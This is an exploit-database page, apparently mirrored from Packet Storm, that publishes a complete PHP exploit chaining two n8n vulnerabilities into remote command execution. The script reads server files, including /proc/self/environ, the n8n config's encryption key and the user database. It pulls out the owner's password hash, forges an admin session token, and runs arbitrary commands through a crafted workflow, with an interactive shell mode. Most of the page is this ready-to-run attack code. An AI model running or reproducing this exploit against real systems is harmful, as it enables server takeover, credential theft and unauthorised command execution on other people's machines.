Lucene search
K

📄 n8n 2.0.0-rc.4 Remote Command Execution

🗓️ 30 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 253 Views

n8n 2.0.0-rc.4 full chain exploit leads to remote command execution via multiple vulnerabilities.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Improper Input Validation in N8N
21 Jan 202615:01
githubexploit
GithubExploit
Exploit for CVE-2025-68613
25 Dec 202520:01
githubexploit
GithubExploit
Exploit for CVE-2025-68613
26 Dec 202519:40
githubexploit
GithubExploit
Exploit for Improper Input Validation in N8N
11 Feb 202601:01
githubexploit
GithubExploit
Exploit for Improper Input Validation in N8N
20 Jan 202611:50
githubexploit
GithubExploit
Exploit for Improper Input Validation in N8N
20 Jan 202615:59
githubexploit
GithubExploit
Exploit for CVE-2026-21858
12 Jan 202614:32
githubexploit
GithubExploit
Exploit for CVE-2025-68613
24 Dec 202513:07
githubexploit
GithubExploit
Exploit for CVE-2025-68613
26 Dec 202515:40
githubexploit
GithubExploit
Exploit for CVE-2025-68613
22 Dec 202506:45
githubexploit
Rows per page
=============================================================================================================================================
    | # Title     : n8n 2.0.0-rc.4 Full chain exploit vulnerability                                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://docs.n8n.io/release-notes/                                                                                          |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213586/ & CVE-2025-68613, CVE-2026-21858
    
    [+] Summary    : a PHP port of a research exploit targeting n8n, chaining multiple vulnerabilities to ultimately achieve remote command execution (RCE).	
    
    [+] PoC : php poc.php
    
    <?php
    
    define('BANNER', "
    ╔═══════════════════════════════════════════════════════════════╗
    ║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
    ║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
    ║                                                               ║
    ║     by indoushka                                              ║
    ╚═══════════════════════════════════════════════════════════════╝
    ");
    
    define('RCE_PAYLOAD', '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}');
    
    class Ni8mare {
        private $base_url;
        private $form_url;
        private $session;
        private $admin_token;
        
        public function __construct($base_url, $form_path) {
            $this->base_url = rtrim($base_url, '/');
            $this->form_url = $this->base_url . '/' . ltrim($form_path, '/');
            $this->session = $this->init_session();
            $this->admin_token = null;
        }
        
        private function init_session() {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Ni8mare/1.0)');
            return $ch;
        }
        
        private function close_session() {
            if ($this->session) {
                curl_close($this->session);
            }
        }
        
        private function randstr($n = 12) {
            $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $result = '';
            for ($i = 0; $i < $n; $i++) {
                $result .= $chars[random_int(0, strlen($chars) - 1)];
            }
            return $result;
        }
        
        private function randpos() {
            return [random_int(100, 600), random_int(100, 600)];
        }
        
        private function api($method, $path, $options = []) {
            $url = $this->base_url . $path;
            $ch = curl_init($url);
            
            $headers = ['Content-Type: application/json'];
            if ($this->admin_token) {
                $headers[] = 'Cookie: n8n-auth=' . $this->admin_token;
            }
            
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout'] ?? 30);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            if (isset($options['json'])) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($options['json']));
            }
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code >= 200 && $http_code < 300) {
                return json_decode($response, true);
            }
            
            return null;
        }
        
        private function lfi_payload($filepath) {
            return [
                'data' => [],
                'files' => [
                    'f-' . $this->randstr(6) => [
                        'filepath' => $filepath,
                        'originalFilename' => $this->randstr(8) . '.bin',
                        'mimetype' => 'application/octet-stream',
                        'size' => random_int(10000, 100000)
                    ]
                ]
            ];
        }
        
        private function build_nodes($command) {
            $trigger_name = 'T-' . $this->randstr(8);
            $rce_name = 'R-' . $this->randstr(8);
            $result_var = 'v' . $this->randstr(6);
            $payload_value = str_replace('CMD', addslashes($command), RCE_PAYLOAD);
            
            $nodes = [
                [
                    'parameters' => [],
                    'name' => $trigger_name,
                    'type' => 'n8n-nodes-base.manualTrigger',
                    'typeVersion' => 1,
                    'position' => $this->randpos(),
                    'id' => 't-' . $this->randstr(12)
                ],
                [
                    'parameters' => [
                        'values' => [
                            'string' => [[
                                'name' => $result_var,
                                'value' => $payload_value
                            ]]
                        ]
                    ],
                    'name' => $rce_name,
                    'type' => 'n8n-nodes-base.set',
                    'typeVersion' => 2,
                    'position' => $this->randpos(),
                    'id' => 'r-' . $this->randstr(12)
                ]
            ];
            
            $connections = [
                $trigger_name => [
                    'main' => [[
                        'node' => $rce_name,
                        'type' => 'main',
                        'index' => 0
                    ]]
                ]
            ];
            
            return [$nodes, $connections, $trigger_name, $rce_name];
        }
            
        public function read_file($filepath, $timeout = 30) {
            $payload = $this->lfi_payload($filepath);
            
            $ch = $this->session;
            curl_setopt($ch, CURLOPT_URL, $this->form_url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
            curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_HEADER, false);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            if ($http_code >= 200 && $http_code < 300 && !empty($response)) {
                return $response;
            }
            
            return null;
        }
        
        public function get_version() {
            $resp = $this->api('GET', '/rest/settings', ['timeout' => 10]);
            if (!$resp) {
                return ['0.0.0', false];
            }
            
            $version = $resp['data']['versionCli'] ?? '0.0.0';
            $parts = explode('.', $version);
            $major = intval($parts[0] ?? 0);
            $minor = intval($parts[1] ?? 0);
            
            $vuln = $major < 1 || ($major == 1 && $minor < 121);
            return [$version, $vuln];
        }
        
        public function get_home() {
            $data = $this->read_file('/proc/self/environ');
            if (!$data) {
                return null;
            }
            
            $vars = explode("\x00", $data);
            foreach ($vars as $var) {
                if (strpos($var, 'HOME=') === 0) {
                    return substr($var, 5);
                }
            }
            
            return null;
        }
        
        public function get_key($home) {
            $data = $this->read_file($home . '/.n8n/config');
            if (!$data) {
                return null;
            }
            
            $config = json_decode($data, true);
            return $config['encryptionKey'] ?? null;
        }
        
        public function get_db($home) {
            return $this->read_file($home . '/.n8n/database.sqlite', 120);
        }
        
        public function extract_admin($db) {
            $temp_file = tempnam(sys_get_temp_dir(), 'n8n_db_');
            file_put_contents($temp_file, $db);
            
            try {
                $pdo = new PDO("sqlite:$temp_file");
                $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
                
                $stmt = $pdo->query("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1");
                $row = $stmt->fetch(PDO::FETCH_ASSOC);
                
                unlink($temp_file);
                
                if ($row) {
                    return [$row['id'], $row['email'], $row['password']];
                }
            } catch (Exception $e) {
                if (file_exists($temp_file)) {
                    unlink($temp_file);
                }
            }
            
            return null;
        }
        
        public function forge_token($key, $uid, $email, $pw_hash) {
    
            $key_part = '';
            for ($i = 0; $i < strlen($key); $i += 2) {
                $key_part .= $key[$i];
            }
            
            $secret = hash('sha256', $key_part);
            $hash_input = $email . ':' . $pw_hash;
            $h = substr(base64_encode(hash('sha256', $hash_input, true)), 0, 10);
    
            $header = base64_encode(json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
            $payload = base64_encode(json_encode(['id' => $uid, 'hash' => $h]));
            $signature = base64_encode(hash_hmac('sha256', "$header.$payload", $secret, true));
            
            $this->admin_token = "$header.$payload.$signature";
            return $this->admin_token;
        }
        
        public function verify_token() {
            return $this->api('GET', '/rest/users', ['timeout' => 10]) !== null;
        }
            
        public function rce($command) {
            list($nodes, $connections, $trigger_name, $rce_name) = $this->build_nodes($command);
            $wf_name = 'wf-' . $this->randstr(16);
            
            $workflow = [
                'name' => $wf_name,
                'active' => false,
                'nodes' => $nodes,
                'connections' => $connections,
                'settings' => []
            ];
            
            $resp = $this->api('POST', '/rest/workflows', ['json' => $workflow, 'timeout' => 10]);
            if (!$resp) {
                return null;
            }
            
            $wf_id = $resp['data']['id'] ?? null;
            if (!$wf_id) {
                return null;
            }
            
            $run_data = [
                'workflowData' => [
                    'id' => $wf_id,
                    'name' => $wf_name,
                    'active' => false,
                    'nodes' => $nodes,
                    'connections' => $connections,
                    'settings' => []
                ]
            ];
            
            $resp = $this->api('POST', "/rest/workflows/$wf_id/run", ['json' => $run_data, 'timeout' => 30]);
            if (!$resp) {
                $this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
                return null;
            }
            
            $exec_id = $resp['data']['executionId'] ?? null;
            $result = $exec_id ? $this->get_result($exec_id) : null;
            
            $this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
            return $result;
        }
        
        private function get_result($exec_id) {
            $resp = $this->api('GET', "/rest/executions/$exec_id", ['timeout' => 10]);
            if (!$resp) {
                return null;
            }
            
            $data = $resp['data']['data'] ?? null;
            if (!$data) {
                return null;
            }
            
            // Handle both cases: string JSON or already decoded array
            if (is_string($data)) {
                $parsed = json_decode($data, true);
            } else {
                $parsed = $data;
            }
            
            if (!is_array($parsed)) {
                return null;
            }
            
            // Search for the result in reverse order
            for ($i = count($parsed) - 1; $i >= 0; $i--) {
                if (isset($parsed[$i]) && is_string($parsed[$i])) {
                    $item = $parsed[$i];
                    if (strlen($item) > 3 && !in_array($item, ['success', 'error'])) {
                        return trim($item);
                    }
                }
            }
            
            return null;
        }
         
        public function pwn() {
            echo "[+] HOME directory... ";
            $home = $this->get_home();
            if (!$home) {
                echo "FAILED\n";
                return false;
            }
            echo "OK: $home\n";
            
            echo "[+] Encryption key... ";
            $key = $this->get_key($home);
            if (!$key) {
                echo "FAILED\n";
                return false;
            }
            echo "OK: " . substr($key, 0, 8) . "...\n";
            
            echo "[+] Database... ";
            $db = $this->get_db($home);
            if (!$db) {
                echo "FAILED\n";
                return false;
            }
            echo "OK: " . strlen($db) . " bytes\n";
            
            echo "[+] Admin user... ";
            $admin = $this->extract_admin($db);
            if (!$admin) {
                echo "FAILED\n";
                return false;
            }
            list($uid, $email, $pw) = $admin;
            echo "OK: $email\n";
            
            echo "[+] Token forge... ";
            $this->forge_token($key, $uid, $email, $pw);
            echo "OK\n";
            
            echo "[+] Admin access... ";
            if (!$this->verify_token()) {
                echo "DENIED\n";
                return false;
            }
            echo "GRANTED!\n";
            
            echo "[+] Cookie: n8n-auth=" . $this->admin_token . "\n";
            return true;
        }
        
        public function __destruct() {
            $this->close_session();
        }
    }
    
    function run_read($exploit, $path, $output = null) {
        $data = $exploit->read_file($path);
        if (!$data) {
            echo "[-] File read failed\n";
            return;
        }
        
        echo "[+] " . strlen($data) . " bytes\n";
        
        if ($output) {
            file_put_contents($output, $data);
            echo "[+] Saved to: $output\n";
            return;
        }
        
        echo $data . "\n";
    }
    
    function run_cmd($exploit, $cmd) {
        echo "[+] RCE... ";
        $out = $exploit->rce($cmd);
        if (!$out) {
            echo "FAILED\n";
            return;
        }
        echo "OK\n\n";
        echo $out . "\n";
    }
    
    function run_shell($exploit) {
        echo "[*] Interactive mode (type 'exit' to quit)\n";
        
        while (true) {
            echo "\033[91mn8n\033[0m> ";
            $cmd = trim(fgets(STDIN));
            
            if (empty($cmd) || $cmd === 'exit') {
                break;
            }
            
            $out = $exploit->rce($cmd);
            if ($out) {
                echo $out . "\n";
            }
        }
    }
    
    function parse_args() {
        global $argv;
        
        if (count($argv) < 3) {
            echo "Usage: php " . basename($argv[0]) . " <url> <form_path> [options]\n";
            echo "Options:\n";
            echo "  --read PATH     Read arbitrary file\n";
            echo "  --cmd CMD       Execute single command\n";
            echo "  --output FILE   Save LFI output to file\n";
            echo "\nExample:\n";
            echo "  php exploit.php http://localhost:5678 /form/upload --read /etc/passwd\n";
            echo "  php exploit.php http://localhost:5678 /form/upload --cmd id\n";
            echo "  php exploit.php http://localhost:5678 /form/upload\n";
            exit(1);
        }
        
        $args = [
            'url' => $argv[1],
            'form' => $argv[2],
            'read' => null,
            'cmd' => null,
            'output' => null
        ];
        
        for ($i = 3; $i < count($argv); $i++) {
            if ($argv[$i] === '--read' && isset($argv[$i + 1])) {
                $args['read'] = $argv[++$i];
            } elseif ($argv[$i] === '--cmd' && isset($argv[$i + 1])) {
                $args['cmd'] = $argv[++$i];
            } elseif ($argv[$i] === '--output' && isset($argv[$i + 1])) {
                $args['output'] = $argv[++$i];
            }
        }
        
        return $args;
    }
    
    function main() {
        echo BANNER . "\n";
        
        $args = parse_args();
        $exploit = new Ni8mare($args['url'], $args['form']);
        
        list($version, $vuln) = $exploit->get_version();
        echo "[*] Target: " . $args['url'] . "\n";
        echo "[*] Version: $version (" . ($vuln ? "VULN" : "SAFE") . ")\n";
        
        if ($args['read']) {
            run_read($exploit, $args['read'], $args['output']);
            return;
        }
        
        if (!$exploit->pwn()) {
            return;
        }
        
        if ($args['cmd']) {
            run_cmd($exploit, $args['cmd']);
            return;
        }
        
        run_shell($exploit);
    }
    
    if (php_sapi_name() === 'cli') {
        main();
    } else {
        echo "This script must be run from command line\n";
    }
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jan 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.18.8 - 10
EPSS0.63045
SSVC
253